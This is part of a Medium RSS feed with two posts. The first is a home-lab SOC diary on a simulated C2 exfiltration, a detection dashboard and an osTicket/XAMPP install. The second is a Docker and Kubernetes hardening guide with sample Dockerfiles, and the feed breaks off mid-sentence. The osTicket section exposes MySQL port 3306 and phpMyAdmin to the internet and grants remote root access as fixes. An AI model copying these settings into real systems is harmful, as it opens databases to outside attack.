src="https://cdn-images-1.medium.com/max/1024/0*Efof3v9K9R0ZOngA.png" /></figure><h3>Phase 6: Data Exfiltration</h3><p>For the last step, I simulated data exfiltration by pulling a passwords.txt file I had created earlier from the compromised Windows machine via the C2 channel.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mw8GCRVrHbC57yl9.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*z-Xm_dICOF6qBWi8.png" /></figure><p>Overall, this day was a great practical demonstration of how a C2 server and agent operate end‑to‑end.</p><h3>DAY22</h3><p>Day 22 — Creating a dashboard for the attacks done on day 21.</p><p>I started by filtering for event.code: 1 and svchost.exe. One major IOC was that svchost.exe was not located in C:\Windows\System32 but in an unusual path. The events also contained the hash and original file name, which I filtered on to tighten the view.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MeYvEXwUoPCVbnNS.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qNJgwW5Fte84eLSf.png" /></figure><p>Now to create the rule with the different fields I want to show.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CL32OMr5pJN5RHbP.png" /></figure><p>Following the different queries from the video, there should now be 3 different visualizations on a dashboard.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R2HKzZwgKWfghosI.png" /></figure><p>By the end of the day, I had three visualizations on a dashboard tied to the C2 activity.</p><h3>DAY23</h3><p>Day 23 — explained what a ticketing system is, why SOC teams rely on them, and how ticket workflows support incident handling and documentation.</p><h3>DAY24</h3><p>Day 24 — deploying osTicket on a dedicated instance and configuring it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/264/0*ONLLvG9xmG4ixX9l.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/0*mS9E84iXYfb6g37s.png" /></figure><p>I updated the two main configuration values in the video to use the public IP address of the osTicket machine. I had issues with XAMPP permissions, so I granted my user full control over the XAMPP folder to get things working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/129/0*npEpc8rWnQ4zks3c.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/379/0*8QVzu0Zw9OIJqnDc.png" /></figure><p>In my case I had to change a few settings on the config since It didn’t allow me to access it with the public. What I did was to add the port 3306 on the config and firewall. Make sure to have the auth_type as “cookie” so that it asks for a login when accessing it remotely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/0*l_FIFaOZakoBdZgF.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/0*uCSByBxkwWFn9oIq.png" /></figure><p>And I also had to change the my.ini config on the MySQL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/285/0*LVv-QFG199kxf94Y.png" /></figure><p>And also created the root and pma account with the public address to be sure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/0*oeSxiMCN7pFza68I.png" /></figure><p>But now trying to access it from another machine blocks our access.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*nwQrFNDxRrT1sJBo.png" /></figure><p>At first, Apache blocked remote access with a “local only” restriction. To fix that, I changed Require local to Require all granted in C:\xampp\apache\conf\extra\httpd-xampp.conf. After restarting Apache, remote access worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/0*sXq8FS5_FxhmHdx4.png" /></figure><p>Now it doesn’t block the access.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*LI2IMx3CocHzKucv.png" /></figure><p>Logging in we will see an error below, so let’s make</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/0*jpaHokjaZOkzI6Dq.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/0*yT4wQgFg8EI2o2oO.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/0*N62DGOQVQczjw6Eq.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/0*ooT9dboBQP_5fXW1.png" /></figure><p>I created the database mydfir-30-day-db for osTicket and granted privileges to the root user. After running the installer, the web interface came up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/189/0*aEm1GU_7_ugNMClM.png" /></figure><p>Now to install the osticket database.</p><p>For the admin account, I made sure to use a strong, non‑obvious password, since the interface is exposed to the internet.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*n5VkHBmygd9J1qDF.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*6wruiqveIbeOgYtf.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/0*kFeQgLrGZaYHXFwI.png" /></figure><p>By the end of the day, I could access osTicket remotely from any machine.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*GuU0gGZeT77uiA2C.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*AF4SmDB-KW00XsFV.png" /></figure><h3>DAY25</h3><p>Day 25 — Integration of osTicket to ELK.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*8-vbMii6QiW2i_MZ.png" /></figure><p>Elastic’s API features are limited on the free tier, so I enabled the 30‑day trial to unlock the needed functionality. I then created the connector configuration as shown in the video.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=06235c9b5db6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Container Security: Docker & Kubernetes Hardening]]></title>
            <link>https://medium.com/@blackxsec/container-security-docker-kubernetes-hardening-1dced055ca4a?source=rss-82c3aba4bbc0------2</link>
            <guid isPermaLink="false">https://medium.com/p/1dced055ca4a</guid>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[ebpf]]></category>
            <category><![CDATA[kubernetes]]></category>
            <dc:creator><![CDATA[BlackXsec]]></dc:creator>
            <pubDate>Mon, 03 Aug 2026 09:28:53 GMT</pubDate>
            <atom:updated>2026-08-03T09:28:53.062Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*M5FGktrRgNFo7nn9.png" /></figure><p>Container technologies have fundamentally transformed the landscape of modern software development, deployment, and operations, representing one of the most significant paradigm shifts in enterprise computing since the widespread adoption of virtualization. Docker and Kubernetes have emerged not merely as tools but as foundational platforms that enable cloud-native architectures, microservices deployments, and the DevOps practices that define contemporary software engineering. This transformation has brought unprecedented benefits: applications can be packaged with all their dependencies, deployed consistently across diverse environments, scaled dynamically in response to demand, and managed through declarative configuration that treats infrastructure as code.</p><p>However, this revolution in application delivery has introduced a complex new security landscape that challenges traditional cybersecurity approaches and demands fundamentally different thinking about how we protect workloads, data, and infrastructure. Container security is not simply traditional security applied to new technology — it represents a paradigm shift that requires understanding ephemeral workloads, shared kernel architectures, dynamic network topologies, and distributed security controls that operate at unprecedented scale and velocity. The very characteristics that make containers powerful — their lightweight nature, rapid deployment capabilities, and dynamic orchestration — create security challenges that existing tools and methodologies often fail to address adequately.</p><p>The ephemeral nature of containerized workloads fundamentally disrupts conventional security monitoring and incident response procedures. Traditional security tools were designed for relatively static infrastructure where servers had lifespans measured in months or years, network configurations changed infrequently, and security teams could establish behavioral baselines over extended observation periods. In container environments, pods can be created, destroyed, and recreated in milliseconds; a production Kubernetes cluster might process thousands of these lifecycle events daily. This velocity renders traditional change management processes obsolete and makes manual security reviews impossible. Security controls must be automated, policy-driven, and capable of making real-time decisions without human intervention.</p><p>The shared kernel architecture that makes containers efficient also creates unique attack surfaces that don’t exist in virtual machine environments. Unlike hypervisor-based virtualization, which provides hardware-level isolation between guests, containers achieve process-level isolation through Linux kernel features like namespaces, cgroups, and security modules. This architecture means that multiple containers share the same operating system kernel, and a vulnerability in the kernel or a misconfiguration in isolation mechanisms could potentially allow an attacker to escape container boundaries and compromise the host system or other containers. This shared-kernel model demands deep understanding of Linux security primitives and careful configuration of multiple defense layers to achieve adequate isolation.</p><p>The declarative configuration model of Kubernetes, while powerful for automation and GitOps workflows, introduces an entirely new category of security vulnerabilities rooted in misconfiguration. Kubernetes provides hundreds of configuration options across dozens of API resources, and the default settings are often optimized for ease of use rather than security. A single misconfigured Role, a permissive NetworkPolicy, or an inadequately restricted PodSecurityPolicy can expose entire clusters to compromise. Unlike traditional infrastructure where misconfigurations might affect individual systems, Kubernetes misconfigurations can have cluster-wide implications affecting hundreds or thousands of workloads simultaneously.</p><p>The distributed nature of container orchestration platforms creates security boundaries that cross traditional network perimeters and organizational boundaries. In cloud-native architectures, applications are decomposed into dozens or hundreds of microservices that communicate over network APIs. Each service-to-service interaction represents a potential attack vector that must be authenticated, authorized, encrypted, and monitored. Traditional perimeter security models that focus on north-south traffic (into and out of the datacenter) are insufficient for protecting east-west traffic (between services within the cluster). This requires implementing zero-trust security models where every interaction is verified regardless of network location.</p><h3>Why Container Security Demands Specialized Expertise</h3><p>Understanding why container security requires specialized knowledge and dedicated tools begins with recognizing the architectural differences between containerized and traditional workloads. These differences manifest across multiple dimensions:</p><p>Isolation Model Differences: Virtual machines provide strong isolation through hardware virtualization, where each VM runs its own kernel and the hypervisor mediates all access to physical resources. Container isolation depends on Linux kernel features that, while sophisticated, provide weaker boundaries than hardware-enforced isolation. Containers share the host kernel, meaning a kernel vulnerability could potentially be exploited from any container to affect the entire system. This shared-kernel architecture means that container security must include kernel hardening, strict capability management, and defense-in-depth strategies that assume isolation boundaries might be breached.</p><p>Lifecycle Velocity Impact: The rapid creation and destruction of containers creates challenges for security monitoring, vulnerability management, and incident response. Traditional security tools that rely on agents installed on long-lived hosts become ineffective when containers exist for seconds or minutes. Vulnerability scanning that occurs weekly or monthly cannot keep pace with container deployments that happen thousands of times daily. Security monitoring must transition from agent-based to agentless architectures, vulnerability management must be shifted left into the CI/CD pipeline, and incident response must leverage ephemeral forensics techniques that can capture evidence before containers disappear.</p><p>Network Complexity Explosion: Traditional datacenter networks had relatively static topologies where security teams could map out network flows, document communication patterns, and implement firewall rules based on known-good behaviors. Container orchestration creates highly dynamic network topologies where services are constantly being scaled up and down, rescheduled to different nodes, and their IP addresses are constantly changing. A single application deployment might create dozens of pods across multiple nodes, each with its own IP address that will change when the pod is rescheduled. This dynamism makes traditional network security controls like static firewall rules impractical, requiring adoption of software-defined networking, service mesh architectures, and declarative network policies.</p><p>Supply Chain Complexity: Modern containerized applications typically depend on dozens of base images, hundreds of software packages, and thousands of transitive dependencies, each representing a potential point of compromise in the software supply chain. Traditional software supply chain security focused primarily on validating the authenticity of software packages and checking them for known vulnerabilities. Container supply chain security must additionally address image provenance, runtime integrity, and the security of the entire build pipeline that creates container images. This requires implementing software bill of materials (SBOM), image signing and verification, admission control policies, and continuous monitoring for newly discovered vulnerabilities in running containers.</p><p>State Management Challenges: Containers follow the principle of immutability — rather than updating running containers, new versions are deployed and old versions are terminated. This immutability provides security benefits by preventing persistence mechanisms and limiting the impact of compromises, but it also creates challenges for traditional security practices. Log aggregation must be handled externally since container logs are lost when containers terminate. Security state like authentication sessions must be managed in external services. Incident response procedures must adapt to investigate workloads that no longer exist.</p><h3>The Container Security Stack: A Layered Defense Model</h3><p>Effective container security requires implementing controls across multiple layers of the technology stack, from the base infrastructure through the application code. Each layer provides specific security functions, and comprehensive security demands addressing all layers systematically:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*Z3LqngyGOwLmvw7p.png" /></figure><p>This layered security model reflects the principle of defense in depth, where multiple independent security controls work together to protect against threats. A vulnerability or misconfiguration in one layer might be caught by controls in another layer, preventing successful attacks. Understanding this model is essential for developing comprehensive container security strategies that address threats systematically rather than reactively responding to individual incidents.</p><p>Layer 1: Infrastructure Security forms the foundation upon which all other security controls depend. If the host operating system or underlying infrastructure is compromised, container isolation mechanisms become irrelevant. This layer includes hardening the host OS according to security benchmarks like CIS or DISA STIGs, enabling and configuring kernel security modules like SELinux or AppArmor, implementing network segmentation to limit blast radius, and ensuring physical or cloud infrastructure security. For cloud-native deployments, this extends to properly configuring cloud provider security controls, implementing strong identity and access management, and enabling audit logging and monitoring.</p><p>Layer 2: Image Security addresses the security of container images throughout their lifecycle. Images must be scanned for vulnerabilities during the build process, base images must be selected carefully to minimize attack surface, and multi-stage builds should be used to exclude unnecessary tools and dependencies from production images. Images should be signed to ensure authenticity and integrity, and registries must be secured with proper access controls. This layer is critical because vulnerabilities in container images are among the most common security issues in container environments, and many organizations unknowingly deploy containers with critical CVEs that could be exploited by attackers.</p><p>Layer 3: Container Runtime Security implements fine-grained controls over what containers can do at runtime. Seccomp profiles restrict system calls that containers can make, preventing exploitation of kernel vulnerabilities. AppArmor and SELinux provide mandatory access control that limits file system access and other operations. Linux capabilities allow fine-grained division of root privileges, enabling containers to perform specific privileged operations without full root access. User namespace remapping ensures that root inside containers maps to unprivileged users on the host. These controls work together to limit the impact of container compromises and prevent container escape attacks.</p><p>Layer 4: Orchestration Security addresses security at the Kubernetes cluster level. Role-Based Access Control (RBAC) ensures that users and service accounts have only the permissions they need to perform their functions. Pod Security Standards and Pod Security Admission provide baseline security requirements that all pods must meet. Network Policies implement microsegmentation to control communication between pods and external services. Secrets management ensures sensitive data like credentials and API keys are stored and accessed securely. Admission controllers enforce policies that prevent insecure configurations from being deployed. This layer is particularly important because misconfigurations at the orchestration level often have cluster-wide security implications.</p><p>Layer 5: Runtime Security monitors container behavior at runtime to detect and respond to suspicious activities. Tools like Falco and Tetragon use eBPF to observe system calls, network connections, and file system operations, comparing observed behavior against defined security policies. This enables detection of container escape attempts, cryptocurrency mining, command-and-control communication, privilege escalation, and other malicious activities. Runtime security provides essential defense against zero-day exploits and insider threats that might bypass other security controls. The real-time nature of runtime security allows for immediate response to threats, potentially blocking attacks before they cause damage.</p><p>Layer 6: Supply Chain Security ensures the integrity of the entire software delivery pipeline from source code to production deployment. This includes verifying the provenance of base images and dependencies, signing images to prove authenticity, generating and maintaining SBOMs for vulnerability tracking, and implementing admission control that prevents unsigned or unverified images from being deployed. Supply chain attacks have become increasingly sophisticated, targeting development tools, package repositories, and CI/CD pipelines. Comprehensive supply chain security is essential for maintaining trust in containerized applications.</p><p>Layer 7: Application Security addresses vulnerabilities in the application code itself. Even with all infrastructure security controls properly implemented, vulnerabilities like SQL injection, cross-site scripting, or business logic flaws in the application can be exploited by attackers. Secure coding practices, input validation, proper authentication and authorization, and API security controls are essential components of application security. Container environments don’t eliminate the need for application security — they simply provide an additional layer of defense that can limit the impact of application vulnerabilities.</p><h3>The Container Threat Landscape: Understanding Attack Vectors</h3><p>To implement effective security controls, security professionals must understand the specific threats that target containerized environments. Container security threats can be categorized based on the attack vector and the security layer being targeted:</p><p>Threat CategoryAttack VectorsTypical ImpactDetection DifficultyVulnerable ImagesDeploying images with known CVEs, outdated packages, malwareHigh — Direct code execution, data theftLow — Detectable via scanningMisconfigurationPrivileged containers, exposed secrets, permissive RBACCritical — Cluster compromiseMedium — Requires policy enforcementContainer EscapeExploiting kernel vulnerabilities, capability abuseCritical — Host compromiseHigh — Requires runtime monitoringSupply Chain AttacksCompromised base images, malicious dependenciesCritical — Backdoor deploymentHigh — Requires provenance verificationNetwork AttacksService-to-service exploitation, traffic interceptionHigh — Data exfiltrationMedium — Requires network monitoringSecrets ExposureHardcoded credentials, exposed environment variablesHigh — Credential theftLow — Detectable via image scanningResource AbuseCryptocurrency mining, DDoS participationMedium — Resource drainMedium — Detectable via anomaly detectionData ExfiltrationCopying sensitive data, DNS tunnelingHigh — Data lossHigh — Requires behavioral analysis</p><p>Vulnerable Images remain one of the most common security issues in container environments, yet they are also among the most preventable. Organizations frequently deploy containers built from outdated base images that contain critical vulnerabilities, often because they lack automated vulnerability scanning in their CI/CD pipelines. Attackers routinely scan public container registries and Kubernetes clusters looking for containers running vulnerable software versions. Once identified, these vulnerabilities can be trivially exploited using publicly available exploit code. The solution lies in implementing continuous vulnerability scanning, automatically rebuilding images when base image updates are released, and enforcing policies that prevent deployment of images with critical vulnerabilities.</p><p>Misconfiguration Vulnerabilities are perhaps the most insidious threat in container environments because they often result from complexity rather than malice. Kubernetes provides immense flexibility through its configuration options, but this flexibility creates countless opportunities for security misconfigurations. Running containers as root, granting excessive privileges, using the host network namespace, mounting the Docker socket, and configuring permissive RBAC are all common misconfigurations that dramatically weaken security. These issues are particularly dangerous because they often appear to work correctly from a functional perspective while creating serious security vulnerabilities. Organizations must implement strong governance, policy-as-code enforcement through admission controllers, and regular security audits to prevent misconfigurations.</p><p>Container Escape Attacks represent the most severe threat to containerized environments because successful exploitation allows attackers to break out of container isolation and compromise the underlying host system. These attacks typically exploit vulnerabilities in the Linux kernel, misconfigurations in container runtime security controls, or design flaws in container orchestration platforms. Recent years have seen several high-profile container escape vulnerabilities including runc exploits (CVE-2019–5736), kernel vulnerabilities exploitable from containers, and Kubernetes privilege escalation bugs. Defense against container escape requires implementing multiple layers of security controls: kernel hardening, seccomp profiles, user namespace remapping, and runtime security monitoring that can detect escape attempts.</p><p>Supply Chain Attacks targeting container ecosystems have increased dramatically as attackers recognize that compromising a widely-used base image or popular package can provide access to thousands of downstream applications. These attacks might involve publishing malicious packages to public repositories, compromising official base images through account takeovers, or injecting malware into CI/CD pipelines. The distributed and collaborative nature of modern software development creates many opportunities for supply chain compromise. Organizations must implement comprehensive supply chain security including image signing, SBOM generation and analysis, provenance verification, and admission control that enforces supply chain security policies.</p><p>Network-Based Attacks in container environments are complicated by the dynamic and distributed nature of microservices architectures. Service-to-service communication creates many potential attack vectors that traditional perimeter security controls cannot address. Attackers who compromise one service can often pivot to other services by exploiting weak authentication, lack of encryption, or permissive network policies. Lateral movement is particularly easy in clusters that lack network segmentation. Defense requires implementing zero-trust networking principles, service mesh for mutual TLS, network policies for microsegmentation, and comprehensive network monitoring to detect unusual communication patterns.</p><p>Secrets Management Failures continue to be a major source of container security incidents. Developers frequently hardcode credentials in container images, pass secrets through environment variables, or store them in unencrypted Kubernetes secrets. These practices make credentials easily accessible to anyone with access to the container image or cluster. Attackers who gain access to containers can quickly locate and exfiltrate these credentials, using them to access databases, APIs, and other sensitive systems. Proper secrets management requires using dedicated secret stores like HashiCorp Vault, implementing dynamic credential generation, encrypting secrets at rest and in transit, and regularly rotating credentials.</p><p>This comprehensive understanding of container security fundamentals, the layered defense model, and the threat landscape provides the foundation for the detailed technical discussions that follow in subsequent chapters. Each chapter examines specific security domains in depth, providing practical guidance, real-world examples, and production-ready configurations for securing containerized environments.</p><h3>Chapter 1: Docker Security Hardening</h3><p>Docker security forms the foundation upon which Kubernetes and other container orchestration platforms build their own security models. Understanding how to properly secure Docker installations, build secure images, and configure runtime security controls is essential for anyone working with containerized applications. This chapter provides comprehensive coverage of Docker security hardening, from selecting secure base images to implementing runtime protection mechanisms.</p><h3>1.1 Understanding Docker’s Security Architecture</h3><p>Before diving into specific hardening techniques, it’s crucial to understand Docker’s security architecture and how it leverages Linux kernel features to provide container isolation. Docker’s security model relies on several key Linux primitives:</p><p>Namespaces provide isolation by giving each container its own view of system resources. Docker uses multiple namespace types to achieve comprehensive isolation. The PID namespace ensures containers cannot see processes running in other containers or on the host. The network namespace gives each container its own network stack, including interfaces, routing tables, and firewall rules. The mount namespace isolates the filesystem view, preventing containers from seeing or accessing filesystems of other containers or sensitive host paths. The UTS namespace provides hostname isolation. The IPC namespace isolates inter-process communication mechanisms like message queues and semaphores. Finally, the user namespace (though not enabled by default in all configurations) allows mapping container user IDs to different IDs on the host, enabling root inside containers to be unprivileged users on the host.</p><p>Control Groups (cgroups) limit the resources containers can consume, preventing resource exhaustion attacks where a compromised or malicious container attempts to monopolize CPU, memory, or I/O resources. Cgroups are essential security controls because they prevent denial-of-service attacks and ensure workload stability. Docker automatically creates cgroup hierarchies for each container, applying limits specified in the docker run command or Docker Compose configuration.</p><p>Capabilities provide fine-grained privilege control by dividing root’s traditional monolithic privilege into dozens of distinct capabilities. Instead of running containers as full root or completely unprivileged, capabilities allow granting specific privileges like binding to low-numbered ports or changing file ownership without granting all root privileges. Docker drops many dangerous capabilities by default but still grants more than necessary for most applications.</p><p>Seccomp Profiles filter system calls that containers can make to the kernel, providing a critical defense layer against kernel exploits. Docker applies a default seccomp profile that blocks approximately 50 system calls known to be dangerous or unnecessary for normal container operations. Custom seccomp profiles can further restrict system call access based on application requirements.</p><p>AppArmor and SELinux provide mandatory access control that restricts container operations regardless of user privileges. These Linux Security Modules enforce security policies that can prevent containers from accessing sensitive files, making network connections, or performing other potentially dangerous operations even if the container is compromised.</p><p>Understanding these security primitives is essential because effective Docker hardening requires configuring each mechanism appropriately. Relying solely on default settings leaves containers vulnerable to numerous attack vectors.</p><h3>1.2 Secure Base Image Selection</h3><p>The choice of base image fundamentally determines a container’s security posture. Base images vary dramatically in their attack surface, update frequency, and security characteristics. Selecting appropriate base images and keeping them updated is one of the most impactful security decisions in container development.</p><p>Minimizing Attack Surface: The principle of least functionality suggests using the smallest possible base image that can support your application. Traditional base images like ubuntu:latest or centos:latest include hundreds of packages, system utilities, and services that typical containerized applications never use. Each additional package represents potential vulnerabilities and additional attack surface. Package managers, compilers, and debugging tools included in full OS images provide useful capabilities for attackers who compromise containers.</p><p>Distroless Images: Google’s distroless images represent the extreme of minimalism, containing only the application runtime and its dependencies without even a shell or package manager. These images dramatically reduce attack surface but require careful planning during development since they don’t include debugging tools. Distroless images are excellent for production deployments where security takes priority over convenience.</p><p>Alpine Linux: Alpine-based images provide a middle ground between full OS images and distroless images. Alpine uses musl libc instead of glibc and BusyBox instead of GNU utilities, resulting in images that are typically 5–10x smaller than equivalent Debian or Ubuntu images. However, Alpine’s different libc can occasionally cause compatibility issues with applications that assume glibc. Alpine is regularly updated and maintains a good security track record.</p><p>Scratch Images: For statically compiled languages like Go, building from the scratch base image (which is literally empty) creates the smallest possible images containing only your application binary. This approach provides the best security posture but requires your application to be completely self-contained with no external dependencies.</p><p>Base Image Update Strategy: Regardless of which base image you choose, establishing a systematic update process is critical. Base images receive security updates regularly, and applications must be rebuilt to incorporate these updates. Automated image rebuilds triggered by base image updates ensure applications benefit from security patches promptly. Many organizations scan registries weekly or even daily, automatically rebuilding images when updated base images become available.</p><p>Here’s an example demonstrating the security difference between different base image choices:</p><pre># ❌ INSECURE: Full Ubuntu base image<br># This image includes ~200MB of packages, including:<br># - Package managers (apt, dpkg)<br># - System utilities (systemctl, bash)<br># - Development tools (make, gcc)<br># - Unnecessary daemons and services<br># Attack surface: HIGH - Hundreds of binaries, multiple privilege escalation vectors</pre><pre>FROM ubuntu:22.04<br>RUN apt-get update &amp;&amp; apt-get install -y \<br>    python3 \<br>    python3-pip \<br>    &amp;&amp; rm -rf /var/lib/apt/lists/*<br>COPY requirements.txt /app/<br>WORKDIR /app<br>RUN pip3 install -r requirements.txt<br>COPY . /app<br>CMD [&quot;python3&quot;, &quot;app.py&quot;]# Result: ~600MB image with numerous attack vectors<br># ✅ BETTER: Alpine-based minimal image  <br># Alpine includes minimal packages with smaller binaries<br># Attack surface: MEDIUM - Basic utilities but much reduced package countFROM python:3.11-alpine<br># Install only runtime dependencies, no build tools in final image<br>RUN apk add --no-cache libpq<br>COPY requirements.txt /app/<br>WORKDIR /app<br># Install Python packages without caching<br>RUN pip install --no-cache-dir -r requirements.txt<br>COPY . /app<br># Run as non-root user<br>RUN adduser -D appuser<br>USER appuser<br>CMD [&quot;python&quot;, &quot;app.py&quot;]# Result: ~150MB image with reduced attack surface<br># ✅✅ BEST: Multi-stage build with distroless final image<br># This approach uses full image for building but distroless for runtime<br># Attack surface: MINIMAL - No shell, no package manager, only runtime# Build stage: Full image with build tools<br>FROM python:3.11-slim as builder<br>WORKDIR /app<br>COPY requirements.txt .<br># Install dependencies to a specific location<br>RUN pip install --user --no-cache-dir -r requirements.txt# Runtime stage: Distroless image for production<br>FROM gcr.io/distroless/python3-debian11<br># Copy only the application and dependencies, nothing else<br>COPY --from=builder /root/.local /root/.local<br>COPY app.py /app/<br>WORKDIR /app<br># Distroless images run as non-root by default<br>ENV PATH=/root/.local/bin:$PATH<br>CMD [&quot;app.py&quot;]# Result: ~50MB image, no shell or package manager, minimal attack surface</pre><p>Detailed Analysis of the Security Differences:</p><p>The first approach using a full Ubuntu base image creates approximately 600MB container with hundreds of installed packages. This image includes complete GNU utilities, bash shell, package managers, and potentially numerous services. An attacker who compromises the application running in this container gains access to extensive system utilities that facilitate lateral movement, privilege escalation, and persistence. The package manager allows installing additional tools, the shell enables running complex attack scripts, and the numerous SUID binaries provide potential privilege escalation vectors.</p><p>The second approach using Alpine Linux significantly reduces the image size to approximately 150MB and eliminates many unnecessary packages. Alpine’s minimalist philosophy means fewer installed binaries, smaller attack surface, and faster image pulls. However, Alpine still includes a shell (sh via BusyBox) and package manager (apk), which could be leveraged by attackers. The alpine approach represents a practical balance between security and operational convenience, as the shell facilitates debugging and troubleshooting.</p><p>The third approach using multi-stage builds and distroless base images achieves the smallest attack surface at approximately 50MB. The multi-stage build allows using a full-featured image (python:3.11-slim) during the build stage where development tools are needed, then copying only the application artifacts to a minimal distroless image for the runtime stage. The distroless image contains only the Python runtime and application code — no shell, no package manager, no system utilities. This means an attacker who compromises the application container cannot execute shell commands, install additional tools, or leverage system utilities for lateral movement. The absence of these tools significantly limits attacker capabilities.</p><p>Important Security Considerations: While distroless images provide excellent security, they present operational challenges. Without a shell, traditional debugging techniques like docker exec into containers to run commands don&#39;t work. Teams using distroless images must adapt their troubleshooting workflows, relying more on structured logging, distributed tracing, and external debugging tools. During development, teams often use regular base images to enable interactive debugging, then switch to distroless images for production deployments.</p><h3>1.3 Multi-Stage Build Security Pattern</h3><p>Multi-stage builds are a Docker feature that dramatically improves both security and efficiency by separating the build environment from the runtime environment. This pattern is considered a best practice for production containerized applications and is essential for achieving minimal attack surface.</p><p>Understanding Multi-Stage Build Security Benefits: Traditional single-stage Dockerfiles include all build dependencies in the final image. This means development tools, compilers, build scripts, source code, and intermediate build artifacts all end up in production containers. These components serve no purpose at runtime but create security risks: build tools might have vulnerabilities, source code could reveal intellectual property or security flaws, and build dependencies add unnecessary attack surface.</p><p>Multi-stage builds solve this by using multiple FROM statements in a single Dockerfile. Early stages contain the full development environment needed for compilation and building. Later stages start from minimal base images and copy only the compiled application binaries from earlier stages. This pattern ensures build tools and source code never appear in production images.</p><p>Here’s a comprehensive example demonstrating multi-stage build security for a Go application:</p><pre># ==============================================================================<br># STAGE 1: BUILDER - Full development environment with build tools<br># ==============================================================================<br># Use golang image with complete build tools<br>FROM golang:1.21-alpine AS builder</pre><pre># Security hardening for build stage<br># Install only essential build dependencies and security tools<br>RUN apk add --no-cache \<br>    git \<br>    ca-certificates \<br>    # Add build dependencies<br>    make \<br>    # Security scanning tools for build-time checks<br>    &amp;&amp; apk add --no-cache --repository=http://dl-cdn.alpinelinux.org/alpine/edge/testing trivy# Create non-root user for building (defense in depth even in build stage)<br>RUN adduser -D -g &#39;&#39; appuser# Set working directory<br>WORKDIR /build# Copy dependency definition files first (better layer caching)<br>COPY go.mod go.sum ./# Download dependencies (cached unless go.mod/go.sum change)<br># Verify dependencies with checksums<br>RUN go mod download &amp;&amp; \<br>    go mod verify# Run dependency vulnerability scan during build<br>RUN trivy fs --severity HIGH,CRITICAL --no-progress /go/pkg/mod# Copy source code<br>COPY . .# Run static security analysis on source code<br># This fails the build if critical issues are found<br>RUN go vet ./...# Build the application with security flags<br># CGO_ENABLED=0: Disable CGO for static binary (better security)<br># -ldflags=&#39;-w -s&#39;: Strip debug info and symbols (smaller, harder to reverse engineer)<br># -extldflags &quot;-static&quot;: Create fully static binary<br># -a: Force rebuild of all packages<br># -installsuffix cgo: Use different install suffix for CGO-disabled build<br>RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \<br>    -ldflags=&#39;-w -s -extldflags &quot;-static&quot;&#39; \<br>    -a \<br>    -installsuffix cgo \<br>    -o /app/server \<br>    ./cmd/server# Verify the binary is statically linked (critical for scratch base image)<br>RUN ldd /app/server 2&gt;&amp;1 | grep -q &quot;not a dynamic executable&quot;# ==============================================================================<br># STAGE 2: RUNTIME - Minimal production image <br># ==============================================================================<br># Start from empty scratch image (literally nothing except kernel interface)<br>FROM scratch# Copy CA certificates for HTTPS connectivity<br># Even minimal images need these for external API calls<br>COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/# Copy user configuration from builder stage<br># This enables running as non-root even in scratch image<br>COPY --from=builder /etc/passwd /etc/passwd# Copy only the compiled binary (single file, nothing else)<br>COPY --from=builder /app/server /server# Set non-root user<br>USER appuser# Document which port the application uses (does not actually publish)<br>EXPOSE 8080# Define health check endpoint for container orchestration<br>HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \<br>    CMD [&quot;/server&quot;, &quot;--healthcheck&quot;]# Set the entrypoint to our application<br>ENTRYPOINT [&quot;/server&quot;]# Result: ~10MB image containing ONLY:<br># - The application binary<br># - CA certificates<br># - User configuration<br># Nothing else - no shell, no utilities, no package manager</pre><p>Security Analysis of This Multi-Stage Build:</p><p>This Dockerfile implements multiple security best practices in both the build and runtime stages:</p><p>Build Stage Security Measures:</p><ol><li>Dependency Verification: The go mod download and go mod verify commands ensure dependencies match expected checksums, preventing supply 